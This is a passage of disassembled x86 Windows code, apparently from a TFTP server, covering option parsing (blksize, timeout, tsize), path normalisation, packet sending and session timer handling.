arg_0 = dword ptr 4
Str1 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6 ; hostshort
rep stosd
call ds:htons ; htons
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+Str1]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:_stricmp
push offset Str2 ; "blksize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp ; Str
call ds:atoi ; atoi
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp ; Str
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:atoi ; atoi
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah ; Radix
push ebx ; DstBuf
push dword ptr [eax+24h] ; Val
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:_itoa ; _itoa
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0 ; int
push 8 ; hostshort
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8] ; s
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax ; int
push ecx ; to
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100273D(void *Src, int, int)
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+Src]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi ; Size
add eax, edx
push edx ; Src
push eax ; Dst
call ds:memmove ; memmove
mov eax, [ebp+Src]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:htons
push 3 ; hostshort
call edi ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call edi ; htons
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:_read ; _read
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
loc_1002877: ; CODE XREF: sub_10027E1+34j
push 1
pop eax
loc_100287A: ; CODE XREF: sub_10027E1+8Bj
pop edi
pop esi
retn 8
sub_10027E1 endp
; =============== S U B R O U T I N E =======================================
sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p
; sub_100333A+2CDp
arg_0 = dword ptr 4
push esi
mov esi, offset stru_1006080
push esi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, dword_1006098
push esi ; lpCriticalSection
mov eax, [esp+8+arg_0]
mov [eax], ecx
mov dword ptr [eax+4], offset dword_1006098
mov [ecx+4], eax
mov dword_1006098, eax
call ds:LeaveCriticalSection
push 1
pop eax
pop esi
retn 4
sub_100287F endp
; =============== S U B R O U T I N E =======================================
sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp
; sub_1002EC8+8p ...
arg_0 = dword ptr 4
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push edi
mov edi, offset stru_1006080
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov eax, dword_1006098
mov ecx, offset dword_1006098
loc_10028D0: ; CODE XREF: sub_10028B5+2Dj
cmp eax, ecx
jz short loc_10028F2
mov edx, [eax+8]
lea esi, [eax-18h]
cmp edx, [esp+0Ch+arg_0]
jz short loc_10028E4
mov eax, [eax]
jmp short loc_10028D0
; ---------------------------------------------------------------------------
loc_10028E4: ; CODE XREF: sub_10028B5+29j
push esi ; lpCriticalSection
call ebx ; EnterCriticalSection
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, esi
jmp short loc_10028FB
; ---------------------------------------------------------------------------
loc_10028F2: ; CODE XREF: sub_10028B5+1Dj
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_10028FB: ; CODE XREF: sub_10028B5+3Bj
pop edi
pop esi
pop ebx
retn 4
sub_10028B5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002901(LPCRITICAL_SECTION lpCriticalSection)
sub_1002901 proc near ; CODE XREF: sub_100297A+Ap
lpCriticalSection= dword ptr 4
push esi
mov esi, [esp+4+lpCriticalSection]
mov eax, [esi+20h]
cmp eax, 0FFFFFFFFh
jz short loc_1002915
push eax ; s
call ds:closesocket ; closesocket
loc_1002915: ; CODE XREF: sub_1002901+Bj
mov eax, [esi+10004h]
test eax, eax
jz short loc_100292E
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_100292E: ; CODE XREF: sub_1002901+1Cj
push 0
push dword ptr [esi+0FFFCh]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+0FFF8h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpCriticalSection
call ds:DeleteCriticalSection
pop esi
retn 4
sub_1002901 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002953(void *Memory)
sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp
; sub_100297A+37p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
mov eax, [esi+1002Ch]
cmp eax, 0FFFFFFFFh
jz short loc_100296B
push eax
call ds:_close ; _close
pop ecx
loc_100296B: ; CODE XREF: sub_1002953+Ej
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1002953 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_100297A(LPCRITICAL_SECTION Memory)
sub_100297A proc near ; CODE XREF: sub_10029BA+55p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
test esi, esi
jz short loc_10029B6
push esi ; lpCriticalSection
call sub_1002901
mov eax, [esi+24h]
dec eax
jz short loc_10029B0
dec eax
jz short loc_10029A8
dec eax
jz short loc_10029A0
dec eax
jnz short loc_10029B6
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A0: ; CODE XREF: sub_100297A+19j
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A8: ; CODE XREF: sub_100297A+16j
push esi ; Memory
call sub_1002953
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029B0: ; CODE XREF: sub_100297A+13j
push esi ; Memory
call sub_1002953
loc_10029B6: ; CODE XREF: sub_100297A+7j
; sub_100297A+1Cj ...
pop esi
retn 4
sub_100297A endp
; =============== S U B R O U T I N E =======================================
sub_10029BA proc near ; DATA XREF: sub_10018DB+98o
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push offset stru_1006080 ; lpCriticalSection
call ebx ; EnterCriticalSection
mov esi, dword_1006098
cmp esi, offset dword_1006098
jz short loc_1002A28
push edi
push ebp
loc_10029D9: ; CODE XREF: sub_10029BA+6Aj
lea edi, [esi-18h]
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov ebp, [esi]
inc dword ptr [edi+10008h]
cmp dword ptr [edi+10008h], 4
lea eax, [edi+10008h]
push edi ; lpCriticalSection
jb short loc_1002A16
call ebx ; EnterCriticalSection
mov eax, [esi]
mov esi, [esi+4]
mov [esi], eax
mov [eax+4], esi
mov ax, [edi+2Ah]
push eax ; hostshort
call ds:htons ; htons
push edi ; Memory
call sub_100297A
jmp short loc_1002A1C
; ---------------------------------------------------------------------------
loc_1002A16: ; CODE XREF: sub_10029BA+3Bj
call ds:LeaveCriticalSection
loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj
cmp ebp, offset dword_1006098
mov esi, ebp
jnz short loc_10029D9
pop ebp
pop edi
loc_1002A28: ; CODE XREF: sub_10029BA+1Bj
push offset stru_1006080 ; lpCriticalSection
call ds:LeaveCriticalSection
call sub_1001A1F
pop esi
pop ebx
retn 8
sub_10029BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o
; sub_100333A+32Co
SystemTime = _SYSTEMTIME ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_10028B5
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_1002B57
mov eax, [esi+1000Ch]
cmp eax, 0Ah
jnb loc_1002B0B
cmp eax, 5
jbe short loc_1002A8E
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
call ds:GetLocalTime ; GetLocalTime
mov ax, [esi+2Ah]
push eax ; netshort
call ds:ntohs ; ntohs
mov ax, [esi+3Ah]
push eax ; hostshort
call ds:htons ; htons
loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj
lea eax, [esi+28h]
push 10h ; tolen
push eax ; to
push ebx ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1002AB3
call ds:WSAGetLastError ; WSAGetLastError
loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej
mov edi, [esi+10004h]
inc dword ptr [esi+1000Ch]
cmp edi, ebx
jz loc_1002B4C
cmp [esi+10028h], ebx
jnz short loc_1002AEA
mov eax, [esi+10000h]
lea ecx, [esi+10000h]
shl eax, 1
mov edx, 2710h
mov [ecx], eax
cmp eax, edx
jbe short loc_1002AEA
mov [ecx], edx
loc_1002AEA: ; CODE XREF: sub_1002A3D+90j
; sub_1002A3D+A9j
mov eax, [esi+10000h]
push eax
push eax
push edi
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
cmp eax, ebx
jz short loc_1002B4C
call ds:GetLastError
jmp short loc_1002B4C
; ---------------------------------------------------------------------------
loc_1002B0B: ; CODE XREF: sub_1002A3D+26j
cmp esi, ebx
jz short loc_1002B57
push offset aTimeout ; "Timeout"
push ebx ; hostshort
push dword ptr [esi+20h] ; s
lea eax, [esi+28h]
push ebx ; int
push eax ; to
call sub_100230A
mov eax, [esi+10004h]
lea edi, [esi+10004h]
cmp eax, ebx
jz short loc_1002B40
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002B40: ; CODE XREF: sub_1002A3D+F3j
mov [edi], ebx
mov dword ptr [esi+10008h], 4
loc_1002B4C: ; CODE XREF: sub_1002A3D+84j
; sub_1002A3D+C4j ...
cmp esi, ebx
jz short loc_1002B57
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002B57: ; CODE XREF: sub_1002A3D+17j
; sub_1002A3D+D0j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002A3D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp
var_4 = dword ptr -4
lpCriticalSection= dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
mov ebx, ds:ntohs
push ebp
push esi
mov esi, [esp+10h+lpCriticalSection]
push edi
mov edi, [esp+14h+arg_4]
xor ebp, ebp
mov eax, [esi+10018h]
push 4 ; netshort
mov [esp+18h+var_4], ebp
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BA6
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002BA6
and dword ptr [esi+1000Ch], 0
push 1
pop ebp
jmp short loc_1002BCE
; ---------------------------------------------------------------------------
loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj
; sub_1002B5E+3Aj
mov ax, [edi+36h]
push eax ; netshort
call ebx ; ntohs
mov ax, [edi+34h]
push eax ; hostshort
call ds:htons ; htons
push 4 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BCE
mov ax, [esi+10014h]
dec ax
push eax ; netshort
call ebx ; ntohs
loc_1002BCE: ; CODE XREF: sub_1002B5E+46j
; sub_1002B5E+62j
test ebp, ebp
jz loc_1002C96
cmp dword ptr [esi+10030h], 0
jz short loc_1002C1C
mov eax, [esi+10004h]
lea edi, [esi+10004h]
test eax, eax
jz short loc_1002BFE
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj
and dword ptr [edi], 0
mov dword ptr [esi+10008h], 4
loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj
; sub_1002B5E+13Ej ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002C14: ; CODE XREF: sub_1002B5E+183j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj
inc word ptr [esi+10014h]
push edi
push esi
call sub_10027E1
mov ebp, eax
xor eax, eax
cmp ebp, eax
jnz short loc_1002C3B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
jmp short loc_1002C0B
; ---------------------------------------------------------------------------
loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j
cmp [esi+10028h], eax
mov [esi+1000Ch], eax
mov [esi+10008h], eax
jnz short loc_1002C59
mov dword ptr [esi+10000h], 3E8h
loc_1002C59: ; CODE XREF: sub_1002B5E+EFj
mov ecx, [esi+10004h]
cmp ecx, eax
jz short loc_1002C78
mov eax, [esi+10000h]
push eax
push eax
push ecx
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002C78: ; CODE XREF: sub_1002B5E+103j
mov eax, [esi+1001Ch]
cmp eax, [edi+20h]
jnb short loc_1002C9A
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
mov dword ptr [esi+10030h], 1
jmp short loc_1002C9A
; ---------------------------------------------------------------------------
loc_1002C96: ; CODE XREF: sub_1002B5E+72j
mov ebp, [esp+14h+var_4]
loc_1002C9A: ; CODE XREF: sub_1002B5E+123j
; sub_1002B5E+136j
test ebp, ebp
jz loc_1002C0B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
add edi, 0Ch
push 10h ; tolen
push edi ; to
push 0 ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002C0B
call ds:WSAGetLastError ; WSAGetLastError
test esi, esi
jz short loc_1002CDE
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002CDE: ; CODE XREF: sub_1002B5E+177j
push 1
pop eax
jmp loc_1002C14
sub_1002B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p
var_4 = dword ptr -4
lpCriticalSection= dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, ds:ntohs
push esi
mov esi, [ebp+lpCriticalSection]
push edi
mov edi, [ebp+arg_4]
push 3 ; netshort
mov eax, [esi+10018h]
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D3A
mov ax, [esi+10014h]
inc ax
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D3A
inc word ptr [esi+10014h]
xor ebx, ebx
mov [ebp+var_4], 1
mov [esi+10008h], ebx
jmp short loc_1002D9D
; ---------------------------------------------------------------------------
loc_1002D3A: ; CODE XREF: sub_1002CE6+28j
; sub_1002CE6+3Aj
push 3 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D9B
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D9B
mov ebx, ds:htons
push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
add edi, 0Ch
push 10h ; tolen
mov [esi+3Ah], ax
push edi ; to
push 0 ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002EB3
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1002EB3
; ---------------------------------------------------------------------------
loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj
; sub_1002CE6+6Cj
xor ebx, ebx
loc_1002D9D: ; CODE XREF: sub_1002CE6+52j
cmp [ebp+var_4], ebx
jz short loc_1002DE4
lea eax, [ebp+arg_4]
push eax
mov eax, [edi+2Ch]
push dword ptr [esi+10030h]
sub eax, 4
push eax
lea eax, [edi+38h]
push eax
push dword ptr [esi+1002Ch]
call sub_100373A
cmp [ebp+var_4], ebx
mov [ebp+lpCriticalSection], eax
jz short loc_1002DE4
cmp eax, ebx
jge short loc_1002DF7
push ebx ; int
push 3 ; hostshort
push dword ptr [edi+8] ; s
lea eax, [edi+0FFF1h]
add edi, 0Ch
push eax ; int
push edi ; to
call sub_100230A
loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj
; sub_1002CE6+E2j
cmp esi, ebx
jz short loc_1002DEF
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002DEF: ; CODE XREF: sub_1002CE6+100j
push 1
pop eax
jmp loc_1002EBC
; ---------------------------------------------------------------------------
loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
ja loc_1002EB3
mov ebx, ds:htons
push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
mov [esi+3Ah], ax
lea eax, [edi+0Ch]
push 10h ; tolen
xor ebx, ebx
push eax ; to
push ebx ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
mov [ebp+lpCriticalSection], eax
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002E74
cmp [esi+10028h], ebx
mov [esi+1000Ch], ebx
jnz short loc_1002E5F
mov dword ptr [esi+10000h], 3E8h
loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj
mov ecx, [esi+10000h]
push ecx
push ecx
push eax
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj
cmp [ebp+lpCriticalSection], 0FFFFFFFFh
jnz short loc_1002E80
call ds:WSAGetLastError ; WSAGetLastError
